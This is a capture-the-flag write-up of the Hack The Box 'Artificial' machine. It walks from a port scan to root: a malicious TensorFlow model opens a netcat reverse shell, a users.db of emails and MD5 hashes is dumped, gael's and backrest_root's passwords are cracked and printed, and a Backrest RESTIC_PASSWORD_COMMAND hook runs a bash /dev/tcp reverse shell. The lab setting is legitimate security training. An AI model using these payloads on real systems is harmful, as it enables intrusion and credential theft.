Artificial Challenge Banner

Introduction

This writeup details the exploitation of the “Artificial” machine from Hack The Box, which showcases interesting vectors involving AI model manipulation and service exploitation.

Attack Narrative

This section provides a detailed account of the red team’s actions, outlining the sequence of events that led to the successful compromise of the Artificial domain. Each step is described with its technical execution and significance.

Initial Enumeration

First, let’s start with a comprehensive port scan using RustScan to identify available services:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
PORT   STATE SERVICE REASON         VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDNABz8gRtjOqG4+jUCJb2NFlaw1auQlaXe1/+I+BhqrriREBnu476PNw6mFG9ifT57WWE/qvAZQFYRvPupReMJD4C3bE3fSLbXAoP03+7JrZkNmPRpVetRjUwP1acu7golA8MnPGzGa2UW38oK/TnkJDlZgRpQq/7DswCr38IPxvHNO/15iizgOETTTEU8pMtUm/ISNQfPcGLGc0x5hWxCPbu75OOOsPt2vA2qD4/sb9bDCOR57bAt4i+WEqp7Ri/act+f4k6vypm1sebNXeYaKapw+W83en2LnJOU0lsdhJiAPKaD/srZRZKOR0bsPcKOqLWQR/A6Yy3iRE8fcKXzfbhYbLUiXZzuUJoEMW33l8uHuAza57PdiMFnKqLQ6LBfwYs64Q3v8oAn5O7upCI/nDQ6raclTSigAKpPbliaL0HE/P7UhNacrGE7Gsk/FwADiXgEAseTn609wBnLzXyhLzLb4UVu9yFRWITkYQ6vq4ZqsiEnAsur/jt8WZY6MQ8=
| 256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOdlb8oU9PsHX8FEPY7DijTkQzsjeFKFf/xgsEav4qedwBUFzOetbfQNn3ZrQ9PMIHrguBG+cXlA2gtzK4NPohU=
| 256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH8QL1LMgQkZcpxuylBjhjosiCxcStKt8xOBU0TjCNmD
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: HEAD OPTIONS GET
|_http-title: Artificial - AI Solutions
|_http-server-header: nginx/1.18.0 (Ubuntu)
1
2
$ echo "10.10.11.74 artificial.htb" | tee -a /etc/hosts
10.10.11.74 artificial.htb

Web Application Exploration

After adding the hostname to our /etc/hosts file, we can access the web application. Upon initial inspection, we discover a registration functionality that allows new users to create accounts.

Registration Page for Artificial Platform

Once that lets login and here we have a file upload functionality.

File Upload Interface on Artificial Platform

Upload Process in Progress

Upload Completion Screen

Initial Foothold: TensorFlow Model Exploitation

After analyzing the application’s functionality, I discovered it accepts model uploads. This presented an interesting attack vector through TensorFlow model manipulation.

TensorFlow Remote Code Execution with Malicious Model CyberBlog: Click here to read

Based on research from TensorFlow Remote Code Execution with Malicious Model, I crafted the following exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import tensorflow as tf
import os

def exploit(x):
import os
os.system("rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker_ip> 4444 >/tmp/f")
return x

model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")

Before to exploit, we should be download Docker via apt install docker.io . After that we executes the exploit.py script inside a temporary TensorFlow Docker container to generate a payload file, using the current directory for input/output

1
$ docker run -it --rm -v "$PWD":/app -w /app tensorflow/tensorflow:2.13.0 python3 exploit.py

Output:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Unable to find image 'tensorflow/tensorflow:2.13.0' locally
2.13.0: Pulling from tensorflow/tensorflow
01085d60b3a6: Pull complete
de96f27d9487: Pull complete
0d0dce5452b7: Pull complete
3b190c0764b5: Pull complete
9e55d77b5a31: Pull complete
eb5c0fde2e19: Pull complete
1eb5af93509e: Pull complete
4a60f8dff7fd: Pull complete
85ba1cd0f140: Pull complete
4983425daedd: Pull complete
d10bf76e378a: Pull complete
17f02e3f1db1: Pull complete
Digest: sha256:f133c99eba6e59b921ea7543c81417cd831c9983f5d6ce65dff7adb0ec79d830
Status: Downloaded newer image for tensorflow/tensorflow:2.13.0
2025-06-22 07:57:03.878480: I tensorflow/core/platform/cpu_feature_guard.cc:182] This TensorFlow binary is optimized to use available CPU instructions in performance-critical operations.
To enable the following instructions: FMA, in other operations, rebuild TensorFlow with the appropriate compiler flags.
sh: 1: nc: not found
/usr/local/lib/python3.8/dist-packages/keras/src/engine/training.py:3000: UserWarning: You are saving your model as an HDF5 file via `model.save()`. This file format is considered legacy. We recommend using instead the native Keras format, e.g. `model.save('my_model.keras')`.
saving_api.save_model(

Lists the files in the current directory, showing the newly created exploit.h5 payload that was generated by the previous command

1
2
3
4
5
6
$ ll
total 25432
-rw-rw-r-- 1 kali kali 457 Jun 22 15:22 Dockerfile
-rw-r--r-- 1 root root 9952 Jun 22 15:57 exploit.h5
-rw-rw-r-- 1 root root 346 Jun 22 15:52 exploit.py
-rw-rw-r-- 1 kali kali 23 Jun 22 15:21 requirements.txt

Lets then upload that exploit.h5.

Uploading TensorFlow Exploit Model

Exploit Model Upload Confirmation

And it got triggered

1
2
3
4
5
6
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [<attacker_ip>] from (UNKNOWN) [10.10.11.74] 34446
/bin/sh: 0: can't access tty; job control turned off
$ whoami
app

For user, we lists all files and directories in the current directory in a detailed format, including hidden files.

1
2
3
4
5
6
7
8
9
10
$ ls -la
total 48
drwxrwxr-x 7 app app 4096 Jun 9 13:56 .
drwxr-x--- 7 app app 4096 Jun 22 06:52 ..
-rw-rw-r-- 1 app app 7846 Jun 9 13:54 app.py
drwxr-xr-x 2 app app 4096 Jun 22 07:40 instance
drwxrwxr-x 2 app app 16384 Jun 22 07:40 models
drwxr-xr-x 2 app app 4096 Jun 9 13:55 __pycache__
drwxrwxr-x 4 app app 4096 Jun 9 13:57 static
drwxrwxr-x 2 app app 4096 Jun 18 13:21 templates

Changes the current working directory to the instance subdirectory & lists all files and directories inside the newly entered instance directory with detailed information

1
2
3
4
5
$ cd instance && ls -la
total 84
drwxr-xr-x 2 app app 4096 Jun 22 07:42 .
drwxrwxr-x 7 app app 4096 Jun 9 13:56 ..
-rw-r--r-- 1 app app 73728 Jun 22 07:42 users.db

Prints the full path of the current working directory, we got the path /home/app/app/instance

1
$ pwd

Output:

1
/home/app/app/instance

Check the /home path, u’ll see the gael → That’s a user we need to find his cred.

1
2
3
4
5
6
$ ls -la /home
total 16
drwxr-xr-x 4 root root 4096 Jun 18 13:19 .
drwxr-xr-x 19 root root 4096 Jun 22 03:53 ..
drwxr-x--- 7 app app 4096 Jun 22 06:52 app
drwxr-x--- 5 gael gael 4096 Jun 22 04:00 gael

The strings command extracts printable character sequences from the users.db file, revealing the SQLite database structure and its raw data, which includes the username gael and what appears to be its corresponding password hash.

1
$ strings users.db

Output:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
SQLite format 3
itablemodelmodel
CREATE TABLE model (
id VARCHAR(36) NOT NULL,
filename VARCHAR(120) NOT NULL,
user_id INTEGER NOT NULL,
PRIMARY KEY (id),
FOREIGN KEY(user_id) REFERENCES user (id)
indexsqlite_autoindex_model_1model
tableuseruser
CREATE TABLE user (
id INTEGER NOT NULL,
username VARCHAR(100) NOT NULL,
email VARCHAR(120) NOT NULL,
password VARCHAR(200) NOT NULL,
PRIMARY KEY (id),
UNIQUE (username),
UNIQUE (email)
indexsqlite_autoindex_user_2user
indexsqlite_autoindex_user_1user
u 2
-Mabcdefabcdef@gmail.come80b5017098950fc58aad83c8c14978eB6
5Mhellh0undpent3stann@gmail.com098f6bcd4621d373cade4e832627b4f6=5
/Mtest273test273@gmail.com5f4dcc3b5aa765d61d8327deb882cf9994
)Makshayakshay@htb.com827ccb0eea8a706c4c34a16891f84e7b33
#MOPG123@htb.come10adc3949ba59abbe56e057f20f883e<23Mjohnjohn@artificial.htb527bd5b5d689e2c32ae974c6229ff785<1
-Mxiaosecctf_xiao@163.comef8c90cbfe0274c540945c5ef16d9a78=0
-Mtest1234test@test123.com16d7a4fca7442dda3ad93c9a726597e4:/
/Mxiaoctf_xiao@123.cvomd2bf7126723ea8f6005ba141ea3c3e2c?.
5MHckN1Lhackthebox@gmail.com3af5fc3e07f3b551c4668855284dc1186-
'Mholahola@hola.htbe961b2ac40aac4cc36a8bf65bca9177e6,
'M123x123x@123x.comf3b4ad4c66c9af3df5574658eb34ddd09+
+Mghostghost@email.com71144850f4fb4cc55fc0ee6935badddf3*
#Mluxlux@lux.cond877c55797fd430ce8150363cd86058f.)
M11@qq.comc4ca4238a0b923820dcc509a6f75849b@(
5Munknownunknown@attacker.com7c88fc781a5cc1670b3373aa5a3ec6947'
)Mrootroot@gmail.com63a9f0ea7bb98050796b649e854818457&
#Mmoon123moon@mo.com8aff4877eb76417460c0fc7f84b325667%
'Madminadmin@cat.htb21232f297a57a5a743894a0e4a801fc34$
%Mxyzxyz@test.com202cb962ac59075b964b07152d234b703##Mnonnon@non.non14b8f0494c6f1460c3720d0ce692dbca5"
%Mcxcxcxcx@htb.comc6018b746835ced81445d633fcbd75beI!
;'Mox033&&../../etc/passwd../etc/passwd3f858cf8cfd59f25010e71b6b5671428=
1Mnirmalattacker@gmail.com3f858cf8cfd59f25010e71b6b56714285
)Mrrrajj@gmail.comcac5ff630494aa784ce97b9fafac25003
'Mrraj@gmail.comcac5ff630494aa784ce97b9fafac2500A
'+Mc0rruptedh3xxadmin@gmail.com14d83559691a249a63dcfb3c637ae34cA
;Mox033attackerox033@gmail.com2d908fbe1af48e5b1be6456dad0aa5044
#Msaps1@gmail.com81dc9bdb52d04dc20036dbd8313ed055;
)Mtest1937test@gmail.com827ccb0eea8a706c4c34a16891f84e7b-
Mnn@n.com7b8b965ad4bca0e41ab51de7b31363a1;
'Mtestuser2test@mail.comcc03e747a6afbbcbf8be7668acfebee5>
/Mawefweafawefweaf@mail.comb95b886bdb448f8c7d0bcb6c39faf99b3
%Mdddd@gmail.com1aabac6d068eef6a7bad3fdf50a05cc80
Maaaa@aa.com4124bc0a9335c27f086f24ba207a4912E
?Mgiangndgiangtryhardkma@gmail.comc4ca4238a0b923820dcc509a6f75849bJ
GMMfkssQzOMfkssQzO@burpcollaborator.nete1f4a8d5047eb92db6f26dbd978c9a04J
GMaPThcCQMKCRvndic@burpcollaborator.netbb89347965b33798a1875acd6d3247da:
)Mtest123test@email.com098f6bcd4621d373cade4e832627b4f6:
'Mtestusertest@mail.htbcc03e747a6afbbcbf8be7668acfebee59
+Mikonwikonw@gmail.com73107d10b041795b5875fc8eebb67907-
Mss@g.com03c7c0ace395d80182db07ae2c30f0349
+Mmiraimirai@mirai.comc631dac97d3f6112e92c51af79b3ed4a9
)Mhnim26minh@gmail.com202cb962ac59075b964b07152d234b706
'Msoulsoul@soul.com765ae843192a0f1b071f4446ee4c5fa36
'Mtesttest@test.comf925916e2754e5e03f75dd58a5733251=
/Mshotytashotyta@gmail.com0192023a7bbd73250516f069df18b5003
#Myzxyzx@htb.comc4ca4238a0b923820dcc509a6f75849b6
'Mmuyimuyi@muyi.coma433c3b46c279c1b189ae164e78ff7d01
#Mbb@gmail.com92eb5ffee6ae2fec3ad71c777531578f<3Mmarymary@artificial.htbbf041041e57f1aff3be7ea1abd6129d0>
5Mroyerroyer@artificial.htbbc25b1f80f544c0ab451c02a3dca9fc6@
7Mrobertrobert@artificial.htbb606c5f5136170f15444251665638b36<
3Mmarkmark@artificial.htb0f3d8c76530022670f1c6029eed09ccb<
3Mgaelgael@artificial.htbc99175974b6e192936d97224638a34f8

Privilege Escalation to User

Among the database entries, one particularly interesting credential stood out:

1
3Mgael:gael@artificial.htb:c99175974b6e192936d97224638a34f8

Using online hash cracking tools, we can recover the plaintext password:

Password Hash Cracking Result

[+] gael:mattp005numbertwo

Next we ssh into machine with cred of gael

1
$ ssh gael@artificial.htb

Output

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro

System information as of Sat 21 Jun 2025 07:37:21 PM UTC

System load: 0.8
Usage of /: 75.2% of 7.53GB
Memory usage: 40%
Swap usage: 0%
Processes: 278
Users logged in: 1
IPv4 address for eth0: 10.10.11.74
IPv6 address for eth0: dead:beef::250:56ff:feb9:658d
...[snip]...
gael@artificial:~$ whoami
gael
gael@artificial:~$ ls
user.txt

Service Identification

We use command netstat -tuln displays active network connections and listening ports for TCP and UDP protocols numerically

1
gael@artificial:~$ netstat -tuln

Output:

1
2
3
4
5
6
7
8
9
10
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.1:5000 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:9898 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp6 0 0 :::80 :::* LISTEN
tcp6 0 0 :::22 :::* LISTEN
udp 0 0 127.0.0.53:53 0.0.0.0:*

We’ll see the localhost:9898 got LISTENING, then we ssh via localhost:9898 of artificial ip

👉Explaination: Cuz without the -p flag, it doesn’t show the process ID (PID) or name of the server using port 9898 or 5000, so one cannot be identified over the other from this output alone. But after searching about 9898, we got port 9898 is identified as Backrest's because it is the default port for the Backrest service, a web interface for managing backups.

1
$ ssh -L 9898:127.0.0.1:9898 gael@artificial.htb

Next step we extracts the contents of the gzipped tar archive named “backrest_backup.tar.gz” from the “/var/backups/“ directory

1
-bash-5.0$ tar -xvf /var/backups/backrest_backup.tar.gz

Output:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
backrest/
backrest/restic
backrest/oplog.sqlite-wal
backrest/oplog.sqlite-shm
backrest/.config/
backrest/.config/backrest/
backrest/.config/backrest/config.json
backrest/oplog.sqlite.lock
backrest/backrest
backrest/tasklogs/
backrest/tasklogs/logs.sqlite-shm
backrest/tasklogs/.inprogress/
backrest/tasklogs/logs.sqlite-wal
backrest/tasklogs/logs.sqlite
backrest/oplog.sqlite
backrest/jwt-secret
backrest/processlogs/
backrest/processlogs/backrest.log
backrest/install.sh

Displays the content of the “config.json” file located in the “.config/backrest/“ directory. We got a passwordBcrypt of backrest_root user

1
-bash-5.0$ cd backrest && cat .config/backrest/config.json

Output:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"modno": 2,
"version": 4,
"instance": "Artificial",
"auth": {
"disabled": false,
"users": [
{
"name": "backrest_root",
"passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP"
}
]
}
}

Next, we decode for password of backrest_root

1
2
3
$ echo 'JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP' | base64 -d | tee backresthash
$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO
$ john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt backresthash

Output:

1
2
3
4
5
6
7
8
9
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
!@#$%^ (?)
1g 0:00:01:19 DONE (2025-06-24 22:43) 0.01257g/s 67.89p/s 67.89c/s 67.89C/s baby16..huevos
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Privilege Escalation to Root

After analyzing the system, we found that the passwordBcrypt value decodes to !@#$%^. This credential would prove crucial for our final escalation phase.

Final Exploitation Steps

1
2
3
4
5
$ echo "bash -i >& /dev/tcp/10.10.11.74/4444 0>&1" | base64
YmFzaCAtaSA+********************************************

$ nc -lvnp 4444
listening on [any] 4444 ...

Go to browser -> localhost:9898 & login with backrest_root creds

Backrest Login Interface

📢Introduction of Backrest: Backrest is a backup tool that uses Restic, an open-source backup software. In the current context, the goal is to exploit a misconfiguration or vulnerability in the system to gain root access. Here, we are exploiting a misconfiguration in the environment variable (RESTIC_PASSWORD_COMMAND) and the hook command to execute malicious code, open a reverse shell, and ultimately use netcat on the attacker’s machine to receive the connection.

Click add repo and follow this :

  • Repo Name: any
  • Repository URL: any
  • Env var: RESTIC_PASSWORD_COMMAND=bash -c 'bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1'
  • Hook command: RESTIC_PASSWORD_COMMAND=echo YmFzaCAtaSA+******************************************** | base64 -d | bash

👉Explaination: In the lab, RESTIC_PASSWORD_COMMAND and the hook command exploit Backrest, a backup tool using Restic. The environment variable RESTIC_PASSWORD_COMMAND=bash -c 'bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1' and the base64-encoded hook command execute a reverse shell, connecting from the victim machine to the attacker’s IP (<attacker_ip>, port 4444). When Backrest runs these, a reverse shell opens, allowing the attacker to use netcat (nc -lvnp 4444) to receive it. If Backrest runs as root, the shell grants root access. The base64 encoding obscures the malicious command, and the TCP tunnel ensures two-way communication. This exploits misconfiguration to gain control in the lab.

Backrest Repository Configuration Interface

After input all of this, click Submit! Then back to netcat session u’ll see this → get root flag

1
$ nc -lvnp 4444

Output:

1
2
3
4
5
6
7
8
9
listening on [any] 4444 ...
connect to [<attacker_ip>] from (UNKNOWN) [10.10.11.74] 41248
bash: cannot set terminal process group (20705): Inappropriate ioctl for device
bash: no job control in this shell
root@artificial:/# whoami
root
root@artificial:/# ls /root
root.txt
root@artificial:/#

Conclusion

This machine provided an excellent opportunity to explore multiple attack vectors:

  1. AI/ML model manipulation through TensorFlow
  2. Web application exploitation
  3. Database enumeration and credential extraction
  4. Service exploitation for privilege escalation

The combination of modern AI components with traditional web vulnerabilities made this an engaging and educational challenge.